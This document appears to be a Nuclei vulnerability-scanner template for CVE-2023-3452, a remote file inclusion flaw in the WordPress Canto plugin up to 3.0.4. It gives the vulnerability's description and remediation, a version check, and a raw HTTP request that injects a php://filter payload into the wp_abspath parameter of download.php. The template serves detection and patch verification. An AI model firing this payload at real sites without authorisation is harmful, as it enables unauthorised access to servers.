WordPress Canto Plugin <= 3.0.4 - File Inclusion

id: CVE-2023-3452

info:
  name: WordPress Canto Plugin <= 3.0.4 - File Inclusion
  author: omarkurt
  severity: critical
  description: |
    Canto plugin for WordPress up to version 3.0.4 contains a remote file inclusion caused by the 'wp_abspath' parameter, letting unauthenticated attackers include and execute arbitrary remote code if allow_url_include is enabled, exploit requires allow_url_include to be enabled.
  impact: |
    Attackers can execute arbitrary remote code on the server, leading to full server compromise.
  remediation: |
    Update to the latest version of the Canto plugin, above 3.0.4, or disable allow_url_include in PHP configuration.
  reference:
    - https://www.exploit-db.com/exploits/51826
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/canto/canto-304-unauthenticated-remote-file-inclusion
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3452
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-3452
    epss-score: 0.0562
    epss-percentile: 0.92161
    cwe-id: CWE-98
  metadata:
    verified: true
    max-request: 3
  tags: cve,cve2023,wordpress,wp-plugin,canto,rfi,rce,unauth,critical

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/canto/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'compare_versions(version, "<= 3.0.4")'
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/canto/includes/lib/download.php?wp_abspath=php://filter/convert.base64-encode/resource=/var/www/html HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "PD9waHAK", "V29yZFByZXNz")'
          - 'status_code == 200'
        condition: and
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